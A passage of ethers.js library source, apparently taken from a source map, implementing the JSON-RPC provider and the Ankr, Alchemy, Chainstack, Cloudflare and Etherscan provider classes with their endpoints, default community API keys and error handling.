* Resolves to the [[Signer]] account for %%address%% managed by\n * the client.\n *\n * If the %%address%% is a number, it is used as an index in the\n * the accounts from [[listAccounts]].\n *\n * This can only be used on clients which manage accounts (such as\n * Geth with imported account or MetaMask).\n *\n * Throws if the account doesn't exist.\n */\n async getSigner(address) {\n if (address == null) {\n address = 0;\n }\n const accountsPromise = this.send(\"eth_accounts\", []);\n // Account index\n if (typeof (address) === \"number\") {\n const accounts = (await accountsPromise);\n if (address >= accounts.length) {\n throw new Error(\"no such account\");\n }\n return new JsonRpcSigner(this, accounts[address]);\n }\n const { accounts } = await resolveProperties({\n network: this.getNetwork(),\n accounts: accountsPromise\n });\n // Account address\n address = getAddress(address);\n for (const account of accounts) {\n if (getAddress(account) === address) {\n return new JsonRpcSigner(this, address);\n }\n }\n throw new Error(\"invalid account\");\n }\n async listAccounts() {\n const accounts = await this.send(\"eth_accounts\", []);\n return accounts.map((a) => new JsonRpcSigner(this, a));\n }\n destroy() {\n // Stop processing requests\n if (this.#drainTimer) {\n clearTimeout(this.#drainTimer);\n this.#drainTimer = null;\n }\n // Cancel all pending requests\n for (const { payload, reject } of this.#payloads) {\n reject(makeError(\"provider destroyed; cancelled request\", \"UNSUPPORTED_OPERATION\", { operation: payload.method }));\n }\n this.#payloads = [];\n // Parent clean-up\n super.destroy();\n }\n}\n// @TODO: remove this in v7, it is not exported because this functionality\n// is exposed in the JsonRpcApiProvider by setting polling to true. It should\n// be safe to remove regardless, because it isn't reachable, but just in case.\n/**\n * @_ignore:\n */\nexport class JsonRpcApiPollingProvider extends JsonRpcApiProvider {\n #pollingInterval;\n constructor(network, options) {\n super(network, options);\n let pollingInterval = this._getOption(\"pollingInterval\");\n if (pollingInterval == null) {\n pollingInterval = defaultOptions.pollingInterval;\n }\n this.#pollingInterval = pollingInterval;\n }\n _getSubscriber(sub) {\n const subscriber = super._getSubscriber(sub);\n if (isPollable(subscriber)) {\n subscriber.pollingInterval = this.#pollingInterval;\n }\n return subscriber;\n }\n /**\n * The polling interval (default: 4000 ms)\n */\n get pollingInterval() { return this.#pollingInterval; }\n set pollingInterval(value) {\n if (!Number.isInteger(value) || value < 0) {\n throw new Error(\"invalid interval\");\n }\n this.#pollingInterval = value;\n this._forEachSubscriber((sub) => {\n if (isPollable(sub)) {\n sub.pollingInterval = this.#pollingInterval;\n }\n });\n }\n}\n/**\n * The JsonRpcProvider is one of the most common Providers,\n * which performs all operations over HTTP (or HTTPS) requests.\n *\n * Events are processed by polling the backend for the current block\n * number; when it advances, all block-base events are then checked\n * for updates.\n */\nexport class JsonRpcProvider extends JsonRpcApiPollingProvider {\n #connect;\n constructor(url, network, options) {\n if (url == null) {\n url = \"http:/\\/localhost:8545\";\n }\n super(network, options);\n if (typeof (url) === \"string\") {\n this.#connect = new FetchRequest(url);\n }\n else {\n this.#connect = url.clone();\n }\n }\n _getConnection() {\n return this.#connect.clone();\n }\n async send(method, params) {\n // All requests are over HTTP, so we can just start handling requests\n // We do this here rather than the constructor so that we don't send any\n // requests to the network (i.e. eth_chainId) until we absolutely have to.\n await this._start();\n return await super.send(method, params);\n }\n async _send(payload) {\n // Configure a POST connection for the requested method\n const request = this._getConnection();\n request.body = JSON.stringify(payload);\n request.setHeader(\"content-type\", \"application/json\");\n const response = await request.send();\n response.assertOk();\n let resp = response.bodyJson;\n if (!Array.isArray(resp)) {\n resp = [resp];\n }\n return resp;\n }\n}\nfunction spelunkData(value) {\n if (value == null) {\n return null;\n }\n // These *are* the droids we're looking for.\n if (typeof (value.message) === \"string\" && value.message.match(/revert/i) && isHexString(value.data)) {\n return { message: value.message, data: value.data };\n }\n // Spelunk further...\n if (typeof (value) === \"object\") {\n for (const key in value) {\n const result = spelunkData(value[key]);\n if (result) {\n return result;\n }\n }\n return null;\n }\n // Might be a JSON string we can further descend...\n if (typeof (value) === \"string\") {\n try {\n return spelunkData(JSON.parse(value));\n }\n catch (error) { }\n }\n return null;\n}\nfunction _spelunkMessage(value, result) {\n if (value == null) {\n return;\n }\n // These *are* the droids we're looking for.\n if (typeof (value.message) === \"string\") {\n result.push(value.message);\n }\n // Spelunk further...\n if (typeof (value) === \"object\") {\n for (const key in value) {\n _spelunkMessage(value[key], result);\n }\n }\n // Might be a JSON string we can further descend...\n if (typeof (value) === \"string\") {\n try {\n return _spelunkMessage(JSON.parse(value), result);\n }\n catch (error) { }\n }\n}\nfunction spelunkMessage(value) {\n const result = [];\n _spelunkMessage(value, result);\n return result;\n}\n//# sourceMappingURL=provider-jsonrpc.js.map","/**\n * [[link-ankr]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Arbitrum (``arbitrum``)\n * - Base (``base``)\n * - Base Goerlia Testnet (``base-goerli``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - BNB (``bnb``)\n * - BNB Testnet (``bnbt``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:Ankr [providers-ankr]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultApiKey = \"9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"rpc.ankr.com/eth\";\n case \"goerli\":\n return \"rpc.ankr.com/eth_goerli\";\n case \"sepolia\":\n return \"rpc.ankr.com/eth_sepolia\";\n case \"arbitrum\":\n return \"rpc.ankr.com/arbitrum\";\n case \"base\":\n return \"rpc.ankr.com/base\";\n case \"base-goerli\":\n return \"rpc.ankr.com/base_goerli\";\n case \"base-sepolia\":\n return \"rpc.ankr.com/base_sepolia\";\n case \"bnb\":\n return \"rpc.ankr.com/bsc\";\n case \"bnbt\":\n return \"rpc.ankr.com/bsc_testnet_chapel\";\n case \"matic\":\n return \"rpc.ankr.com/polygon\";\n case \"matic-mumbai\":\n return \"rpc.ankr.com/polygon_mumbai\";\n case \"optimism\":\n return \"rpc.ankr.com/optimism\";\n case \"optimism-goerli\":\n return \"rpc.ankr.com/optimism_testnet\";\n case \"optimism-sepolia\":\n return \"rpc.ankr.com/optimism_sepolia\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **AnkrProvider** connects to the [[link-ankr]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-ankr-signup).\n */\nexport class AnkrProvider extends JsonRpcProvider {\n /**\n * The API key for the Ankr connection.\n */\n apiKey;\n /**\n * Create a new **AnkrProvider**.\n *\n * By default connecting to ``mainnet`` with a highly throttled\n * API key.\n */\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n // Ankr does not support filterId, so we force polling\n const options = { polling: true, staticNetwork: network };\n const request = AnkrProvider.getRequest(network, apiKey);\n super(request, network, options);\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new AnkrProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n /**\n * Returns a prepared request for connecting to %%network%% with\n * %%apiKey%%.\n */\n static getRequest(network, apiKey) {\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/${apiKey}`);\n request.allowGzip = true;\n if (apiKey === defaultApiKey) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"AnkrProvider\");\n return true;\n };\n }\n return request;\n }\n getRpcError(payload, error) {\n if (payload.method === \"eth_sendRawTransaction\") {\n if (error && error.error && error.error.message === \"INTERNAL_ERROR: could not replace existing tx\") {\n error.error.message = \"replacement transaction underpriced\";\n }\n }\n return super.getRpcError(payload, error);\n }\n isCommunityResource() {\n return (this.apiKey === defaultApiKey);\n }\n}\n//# sourceMappingURL=provider-ankr.js.map","/**\n * [[link-alchemy]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``)\n * - Base (``base``)\n * - Base Goerlia Testnet (``base-goerli``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Amoy Testnet (``matic-amoy``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy]\n */\nimport { defineProperties, resolveProperties, assert, assertArgument, FetchRequest } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultApiKey = \"_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"eth-mainnet.alchemyapi.io\";\n case \"goerli\":\n return \"eth-goerli.g.alchemy.com\";\n case \"sepolia\":\n return \"eth-sepolia.g.alchemy.com\";\n case \"arbitrum\":\n return \"arb-mainnet.g.alchemy.com\";\n case \"arbitrum-goerli\":\n return \"arb-goerli.g.alchemy.com\";\n case \"arbitrum-sepolia\":\n return \"arb-sepolia.g.alchemy.com\";\n case \"base\":\n return \"base-mainnet.g.alchemy.com\";\n case \"base-goerli\":\n return \"base-goerli.g.alchemy.com\";\n case \"base-sepolia\":\n return \"base-sepolia.g.alchemy.com\";\n case \"matic\":\n return \"polygon-mainnet.g.alchemy.com\";\n case \"matic-amoy\":\n return \"polygon-amoy.g.alchemy.com\";\n case \"matic-mumbai\":\n return \"polygon-mumbai.g.alchemy.com\";\n case \"optimism\":\n return \"opt-mainnet.g.alchemy.com\";\n case \"optimism-goerli\":\n return \"opt-goerli.g.alchemy.com\";\n case \"optimism-sepolia\":\n return \"opt-sepolia.g.alchemy.com\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **AlchemyProvider** connects to the [[link-alchemy]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-alchemy-signup).\n *\n * @_docloc: api/providers/thirdparty\n */\nexport class AlchemyProvider extends JsonRpcProvider {\n apiKey;\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n const request = AlchemyProvider.getRequest(network, apiKey);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new AlchemyProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n async _perform(req) {\n // https://docs.alchemy.com/reference/trace-transaction\n if (req.method === \"getTransactionResult\") {\n const { trace, tx } = await resolveProperties({\n trace: this.send(\"trace_transaction\", [req.hash]),\n tx: this.getTransaction(req.hash)\n });\n if (trace == null || tx == null) {\n return null;\n }\n let data;\n let error = false;\n try {\n data = trace[0].result.output;\n error = (trace[0].error === \"Reverted\");\n }\n catch (error) { }\n if (data) {\n assert(!error, \"an error occurred during transaction executions\", \"CALL_EXCEPTION\", {\n action: \"getTransactionResult\",\n data,\n reason: null,\n transaction: tx,\n invocation: null,\n revert: null // @TODO\n });\n return data;\n }\n assert(false, \"could not parse trace result\", \"BAD_DATA\", { value: trace });\n }\n return await super._perform(req);\n }\n isCommunityResource() {\n return (this.apiKey === defaultApiKey);\n }\n static getRequest(network, apiKey) {\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/v2/${apiKey}`);\n request.allowGzip = true;\n if (apiKey === defaultApiKey) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"alchemy\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-alchemy.js.map","/**\n * [[link-chainstack]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Arbitrum (``arbitrum``)\n * - BNB Smart Chain Mainnet (``bnb``)\n * - Polygon (``matic``)\n *\n * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nfunction getApiKey(name) {\n switch (name) {\n case \"mainnet\": return \"39f1d67cedf8b7831010a665328c9197\";\n case \"arbitrum\": return \"0550c209db33c3abf4cc927e1e18cea1\";\n case \"bnb\": return \"98b5a77e531614387366f6fc5da097f8\";\n case \"matic\": return \"cd9d4d70377471aa7c142ec4a4205249\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"ethereum-mainnet.core.chainstack.com\";\n case \"arbitrum\":\n return \"arbitrum-mainnet.core.chainstack.com\";\n case \"bnb\":\n return \"bsc-mainnet.core.chainstack.com\";\n case \"matic\":\n return \"polygon-mainnet.core.chainstack.com\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **ChainstackProvider** connects to the [[link-chainstack]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-chainstack).\n */\nexport class ChainstackProvider extends JsonRpcProvider {\n /**\n * The API key for the Chainstack connection.\n */\n apiKey;\n /**\n * Creates a new **ChainstackProvider**.\n */\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = getApiKey(network.name);\n }\n const request = ChainstackProvider.getRequest(network, apiKey);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new ChainstackProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.apiKey === getApiKey(this._network.name));\n }\n /**\n * Returns a prepared request for connecting to %%network%%\n * with %%apiKey%% and %%projectSecret%%.\n */\n static getRequest(network, apiKey) {\n if (apiKey == null) {\n apiKey = getApiKey(network.name);\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/${apiKey}`);\n request.allowGzip = true;\n if (apiKey === getApiKey(network.name)) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"ChainstackProvider\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-chainstack.js.map","/**\n * About Cloudflare\n *\n * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare]\n */\nimport { assertArgument } from \"../utils/index.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\n/**\n * About Cloudflare...\n */\nexport class CloudflareProvider extends JsonRpcProvider {\n constructor(_network) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n assertArgument(network.name === \"mainnet\", \"unsupported network\", \"network\", _network);\n super(\"https:/\\/cloudflare-eth.com/\", network, { staticNetwork: network });\n }\n}\n//# sourceMappingURL=provider-cloudflare.js.map","/**\n * [[link-etherscan]] provides a third-party service for connecting to\n * various blockchains over a combination of JSON-RPC and custom API\n * endpoints.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Holesky Testnet (``holesky``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Base (``base``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - BNB Smart Chain Mainnet (``bnb``)\n * - BNB Smart Chain Testnet (``bnbt``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Polygon (``matic``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n * - Polygon Amoy Testnet (``matic-amoy``)\n *\n * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan]\n */\nimport { AbiCoder } from \"../abi/index.js\";\nimport { Contract } from \"../contract/index.js\";\nimport { accessListify, Transaction } from \"../transaction/index.js\";\nimport { defineProperties, hexlify, toQuantity, FetchRequest, assert, assertArgument, isError, \n// parseUnits,\ntoUtf8String } from \"../utils/index.js\";\nimport { AbstractProvider } from \"./abstract-provider.js\";\nimport { Network } from \"./network.js\";\nimport { NetworkPlugin } from \"./plugins-network.js\";\nimport { showThrottleMessage } from \"./community.js\";\nconst THROTTLE = 2000;\nfunction isPromise(value) {\n return (value && typeof (value.then) === \"function\");\n}\nconst EtherscanPluginId = \"org.ethers.plugins.provider.Etherscan\";\n/**\n * A Network can include an **EtherscanPlugin** to provide\n * a custom base URL.\n *\n * @_docloc: api/providers/thirdparty:Etherscan\n */\nexport class EtherscanPlugin extends NetworkPlugin {\n /**\n * The Etherscan API base URL.\n */\n baseUrl;\n /**\n * Creates a new **EtherscanProvider** which will use\n * %%baseUrl%%.\n */\n constructor(baseUrl) {\n super(EtherscanPluginId);\n defineProperties(this, { baseUrl });\n }\n clone() {\n return new EtherscanPlugin(this.baseUrl);\n }\n}\nconst skipKeys = [\"enableCcipRead\"];\nlet nextId = 1;\n/**\n * The **EtherscanBaseProvider** is the super-class of\n * [[EtherscanProvider]], which should generally be used instead.\n *\n * Since the **EtherscanProvider** includes additional code for\n * [[Contract]] access, in //rare cases// that contracts are not\n * used, this class can reduce code size.\n *\n * @_docloc: api/providers/thirdparty:Etherscan\n */\nexport class EtherscanProvider extends AbstractProvider {\n /**\n * The connected network.\n */\n network;\n /**\n * The API key or null if using the community provided bandwidth.\n */\n apiKey;\n #plugin;\n /**\n * Creates a new **EtherscanBaseProvider**.\n */\n constructor(_network, _apiKey) {\n const apiKey = (_apiKey != null) ? _apiKey : null;\n super();\n const network = Network.from(_network);\n this.#plugin = network.getPlugin(EtherscanPluginId);\n defineProperties(this, { apiKey, network });\n }\n /**\n * Returns the base URL.\n *\n * If an [[EtherscanPlugin]] is configured on the\n * [[EtherscanBaseProvider_network]], returns the plugin's\n * baseUrl.\n *\n * Deprecated; for Etherscan v2 the base is no longer a simply\n * host, but instead a URL including a chainId parameter. Changing\n * this to return a URL prefix could break some libraries, so it\n * is left intact but will be removed in the future as it is unused.\n */\n getBaseUrl() {\n if (this.#plugin) {\n return this.#plugin.baseUrl;\n }\n switch (this.network.name) {\n case \"mainnet\":\n return \"https:/\\/api.etherscan.io\";\n case \"goerli\":\n return \"https:/\\/api-goerli.etherscan.io\";\n case \"sepolia\":\n return \"https:/\\/api-sepolia.etherscan.io\";\n case \"holesky\":\n return \"https:/\\/api-holesky.etherscan.io\";\n case \"arbitrum\":\n return \"https:/\\/api.arbiscan.io\";\n case \"arbitrum-goerli\":\n return \"https:/\\/api-goerli.arbiscan.io\";\n case \"base\":\n return \"https:/\\/api.basescan.org\";\n case \"base-sepolia\":\n return \"https:/\\/api-sepolia.basescan.org\";\n case \"bnb\":\n return \"https:/\\/api.bscscan.com\";\n case \"bnbt\":\n return \"https:/\\/api-testnet.bscscan.com\";\n case \"matic\":\n return \"https:/\\/api.polygonscan.com\";\n case \"matic-amoy\":\n return \"https:/\\/api-amoy.polygonscan.com\";\n case \"matic-mumbai\":\n return \"https:/\\/api-testnet.polygonscan.com\";\n case \"optimism\":\n return \"https:/\\/api-optimistic.etherscan.io\";\n case \"optimism-goerli\":\n return \"https:/\\/api-goerli-optimistic.etherscan.io\";\n default:\n }\n assertArgument(false, \"unsupported network\", \"network\", this.network);\n }\n /**\n * Returns the URL for the %%module%% and %%params%%.\n */\n getUrl(module, params) {\n let query = Object.keys(params).reduce((accum, key) => {\n const value = params[key];\n if (value != null) {\n accum += `&${key}=${value}`;\n }\n return accum;\n }, \"\");\n if (this.apiKey) {\n query += `&apikey=${this.apiKey}`;\n }\n return `https:/\\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`;\n }\n /**\n * Returns the URL for using POST requests.\n */\n getPostUrl() {\n return `https:/\\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`;\n }\n /**\n * Returns the parameters for using POST requests.\n */\n getPostData(module, params) {\n params.module = module;\n params.apikey = this.apiKey;\n params.chainid = this.network.chainId;\n return params;\n }\n async detectNetwork() {\n return this.network;\n }\n /**\n * Resolves to the result of calling %%module%% with %%params%%.\n *\n * If %%post%%, the request is made as a POST request.\n */\n async fetch(module, params, post) {\n const id = nextId++;\n const url = (post ? this.getPostUrl() : this.getUrl(module, params));\n const payload = (post ? this.getPostData(module, params) : null);\n this.emit(\"debug\", { action: \"sendRequest\", id, url, payload: payload });\n const request = new FetchRequest(url);\n request.setThrottleParams({ slotInterval: 1000 });\n request.retryFunc = (req, resp, attempt) => {\n if (this.isCommunityResource()) {\n showThrottleMessage(\"Etherscan\");\n }\n return Promise.resolve(true);\n };\n request.processFunc = async (request, response) => {\n const result = response.hasBody() ? JSON.parse(toUtf8String(response.body)) : {};\n const throttle = ((typeof (result.result) === \"string\") ? result.result : \"\").toLowerCase().indexOf(\"rate limit\") >= 0;\n if (module === \"proxy\") {\n // This JSON response indicates we are being throttled\n if (result && result.status == 0 && result.message == \"NOTOK\" && throttle) {\n this.emit(\"debug\", { action: \"receiveError\", id, reason: \"proxy-NOTOK\", error: result });\n response.throwThrottleError(result.result, THROTTLE);\n }\n }\n else {\n if (throttle) {\n this.emit(\"debug\", { action: \"receiveError\", id, reason: \"null result\", error: result.result });\n response.throwThrottleError(result.result, THROTTLE);\n }\n }\n return response;\n };\n if (payload) {\n request.setHeader(\"content-type\", \"application/x-www-form-urlencoded; charset=UTF-8\");\n request.body = Object.keys(payload).map((k) => `${k}=${payload[k]}`).join(\"&\");\n }\n const response = await request.send();\n try {\n response.assertOk();\n }\n catch (error) {\n this.emit(\"debug\", { action: \"receiveError\", id, error, reason: \"assertOk\" });\n assert(false, \"response error\", \"SERVER_ERROR\", { request, response });\n }\n if (!response.hasBody()) {\n this.emit(\"debug\", { action: \"receiveError\", id, error: \"missing body\", reason: \"null body\" });\n assert(false, \"missing response\", \"SERVER_ERROR\", { request, response });\n }\n const result = JSON.parse(toUtf8String(response.body));\n if (module === \"proxy\") {\n if (result.jsonrpc != \"2.0\") {\n this.emit(\"debug\", { action: \"receiveError\", id, result, reason: \"invalid JSON-RPC\" });\n assert(false, \"invalid JSON-RPC response (missing jsonrpc='2.0')\", \"SERVER_ERROR\", { request, response, info: { result } });\n }\n if (result.error) {\n this.emit(\"debug\", { action: \"receiveError\", id, result, reason: \"JSON-RPC error\" });\n assert(false, \"error response\", \"SERVER_ERROR\", { request, response, info: { result } });\n }\n this.emit(\"debug\", { action: \"receiveRequest\", id, result });\n return result.result;\n }\n else {\n // getLogs, getHistory have weird success responses\n if (result.status == 0 && (result.message === \"No records found\" || result.message === \"No transactions found\")) {\n this.emit(\"debug\", { action: \"receiveRequest\", id, result });\n return result.result;\n }\n if (result.status != 1 || (typeof (result.message) === \"string\" && !result.message.match(/^OK/))) {\n this.emit(\"debug\", { action: \"receiveError\", id, result });\n assert(false, \"error response\", \"SERVER_ERROR\", { request, response, info: { result } });\n }\n this.emit(\"debug\", { action: \"receiveRequest\", id, result });\n return result.result;\n }\n }\n /**\n * Returns %%transaction%% normalized for the Etherscan API.\n */\n _getTransactionPostData(transaction) {\n const result = {};\n for (let key in transaction) {\n if (skipKeys.indexOf(key) >= 0) {\n continue;\n }\n if (transaction[key] == null) {\n continue;\n }\n let value = transaction[key];\n if (key === \"type\" && value === 0) {\n continue;\n }\n if (key === \"blockTag\" && value === \"latest\") {\n continue;\n }\n // Quantity-types require no leading zero, unless 0\n if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key]) {\n value = toQuantity(value);\n }\n else if (key === \"accessList\") {\n value = \"[\" + accessListify(value).map((set) => {\n return `{address:\"${set.address}\",storageKeys:[\"${set.storageKeys.join('\",\"')}\"]}`;\n }).join(\",\") + \"]\";\n }\n else if (key === \"blobVersionedHashes\") {\n if (value.length === 0) {\n continue;\n }\n // @TODO: update this once the API supports blobs\n assert(false, \"Etherscan API does not support blobVersionedHashes\", \"UNSUPPORTED_OPERATION\", {\n operation: \"_getTransactionPostData\",\n info: { transaction }\n });\n }\n else {\n value = hexlify(value);\n }\n result[key] = value;\n }\n return result;\n }\n /**\n * Throws the normalized Etherscan error.\n */\n _checkError(req, error, transaction) {\n // Pull any message out if, possible\n let message = \"\";\n if (isError(error, \"SERVER_ERROR\")) {\n // Check for an error emitted by a proxy call\n try {\n message = error.info.result.error.message;\n }\n catch (e) { }\n if (!message) {\n try {\n message = error.info.message;\n }\n catch (e) { }\n }\n }\n if (req.method === \"estimateGas\") {\n if (!message.match(/revert/i) && message.match(/insufficient funds/i)) {\n assert(false, \"insufficient funds\", \"INSUFFICIENT_FUNDS\", {\n transaction: req.transaction\n });\n }\n }\n if (req.method === \"call\" || req.method === \"estimateGas\") {\n if (message.match(/execution reverted/i)) {\n let data = \"\";\n try {\n data = error.info.result.error.data;\n }\n catch (error) { }\n const e = AbiCoder.getBuiltinCallException(req.method, req.transaction, data);\n e.info = { request: req, error };\n throw e;\n }\n }\n if (message) {\n if (req.method === \"broadcastTransaction\") {\n const transaction = Transaction.from(req.signedTransaction);\n if (message.match(/replacement/i) && message.match(/underpriced/i)) {\n assert(false, \"replacement fee too low\", \"REPLACEMENT_UNDERPRICED\", {\n transaction\n });\n }\n if (message.match(/insufficient funds/)) {\n assert(false, \"insufficient funds for intrinsic transaction cost\", \"INSUFFICIENT_FUNDS\", {\n transaction\n });\n }\n if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) {\n assert(false, \"nonce has already been used\", \"NONCE_EXPIRED\", {\n transaction\n });\n }\n }\n }\n // Something we could not process\n throw error;\n }\n async _detectNetwork() {\n return this.network;\n }\n async _perform(req) {\n switch (req.method) {\n case \"chainId\":\n return this.network.chainId;\n case \"getBlockNumber\":\n return this.fetch(\"proxy\", { action: \"eth_blockNumber\" });\n case \"getGasPrice\":\n return this.fetch(\"proxy\", { action: \"eth_gasPrice\" });\n case \"getPriorityFee\":\n // This is temporary until Etherscan completes support\n if (this.network.name === \"mainnet\") {\n return \"1000000000\";\n }\n else if (this.network.name === \"optimism\") {\n return \"1000000\";\n }\n else {\n throw new Error(\"fallback onto the AbstractProvider default\");\n }\n /* Working with Etherscan to get this added:\n try {\n const test = await this.fetch(\"proxy\", {\n action: \"eth_maxPriorityFeePerGas\"\n });\n console.log(test);\n return test;\n } catch (e) {\n console.log(\"DEBUG\", e);\n throw e;\n }\n */\n /* This might be safe; but due to rounding neither myself\n or Etherscan are necessarily comfortable with this. :)\n try {\n const result = await this.fetch(\"gastracker\", { action: \"gasoracle\" });\n console.log(result);\n const gasPrice = parseUnits(result.SafeGasPrice, \"gwei\");\n const baseFee = parseUnits(result.suggestBaseFee, \"gwei\");\n const priorityFee = gasPrice - baseFee;\n if (priorityFee < 0) { throw new Error(\"negative priority fee; defer to abstract provider default\"); }\n return priorityFee;\n } catch (error) {\n console.log(\"DEBUG\", error);\n throw error;\n }\n */\n case \"getBalance\":\n // Returns base-10 result\n return this.fetch(\"account\", {\n action: \"balance\",\n address: req.address,\n tag: req.blockTag\n });\n case \"getTransactionCount\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionCount\",\n address: req.address,\n tag: req.blockTag\n });\n case \"getCode\":\n return this.fetch(\"proxy\", {\n action: \"eth_getCode\",\n address: req.address,\n tag: req.blockTag\n });\n case \"getStorage\":\n return this.fetch(\"proxy\", {\n action: \"eth_getStorageAt\",\n address: req.address,\n position: req.position,\n tag: req.blockTag\n });\n case \"broadcastTransaction\":\n return this.fetch(\"proxy\", {\n action: \"eth_sendRawTransaction\",\n hex: req.signedTransaction\n }, true).catch((error) => {\n return this._checkError(req, error, req.signedTransaction);\n });\n case \"getBlock\":\n if (\"blockTag\" in req) {\n return this.fetch(\"proxy\", {\n action: \"eth_getBlockByNumber\",\n tag: req.blockTag,\n boolean: (req.includeTransactions ? \"true\" : \"false\")\n });\n }\n assert(false, \"getBlock by blockHash not supported by Etherscan\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getBlock(blockHash)\"\n });\n case \"getTransaction\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionByHash\",\n txhash: req.hash\n });\n case \"getTransactionReceipt\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionReceipt\",\n txhash: req.hash\n });\n case \"call\": {\n if (req.blockTag !== \"latest\") {\n throw new Error(\"EtherscanProvider does not support blockTag for call\");\n }\n const postData = 